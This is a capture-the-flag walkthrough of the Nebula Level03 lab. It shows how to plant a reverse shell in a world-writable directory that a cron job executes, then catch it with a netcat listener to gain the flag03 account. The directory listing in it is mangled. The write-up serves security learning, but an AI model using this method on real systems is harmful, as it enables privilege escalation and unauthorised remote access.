Exploit Education

Nebula - Level03

Description:

Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes. Files for this level can be found in /home/flag03.

First, as always login in into your box: **ssh level03@[IP]**

Cd into /home /flag03

```
leve103@nebula:/home/flag03$ ls -a1
total 6
drwxr-x--- 1 flag03 level03
                              60 2011-11-20 20:39
drwxr-xr-x 1 root
                              80 2012-08-27 07:18
   -r--r-- 1 flag03 flag03
                             220 2011-05-18 02:54
                                                   .bash_logout
 rw-r--r-- 1 flag03 flag03
                            3353 2011-05-18 02:54
                                                   .bashrc
   -r--r-- 1 flag03 flag03
                              675 2011-05-18 02:54
                                                   .profile
drwxrwxrwx 1 flag03 flag03
                              40 2021-06-20 06:36
                               98 2011-11-20 21:22 writable.sh
     xr-x 1 flag03 flag03
```

Research:

The file writable.sh:

This file is the only executable in the folder, so this needs to be the file, we need to exploit. But what does it to? It executes all files in writeable.d with bash -x \$Filename and deletes them afterwards. What happens, if we put a reverse shell file in the **writable.d** and execute **writable.sh:**

If we execute the script with user **level03**, we get a shell with user **level03**. But, there should be a cron tab right?

Check the home directory of **flag03** and take note of the files there.

There is a crontab that is called every couple of minutes.

Exploit:

Because there is a crontab, which is called every couple of minutes, I guessed, that it will execute the script **writable.sh** . Lets try it:

Now, I will just wait for **writable.sh** to get executed:

```
hacker5preme:~$ nc -lnvp 3456
Listening on 0.0.0.0 3456
Connection received on 192.168.0.236 40848
level03@nebula:/home/flag03$ ^C
hacker5preme:~$ nc -lnvp 3456
Listening on 0.0.0.0 3456
Connection received on 192.168.0.236 40849
bash: no job control in this shell
flag03@nebula:~$ getflag
getflag
You have successfully executed getflag on a target account
flag03@nebula:~$
```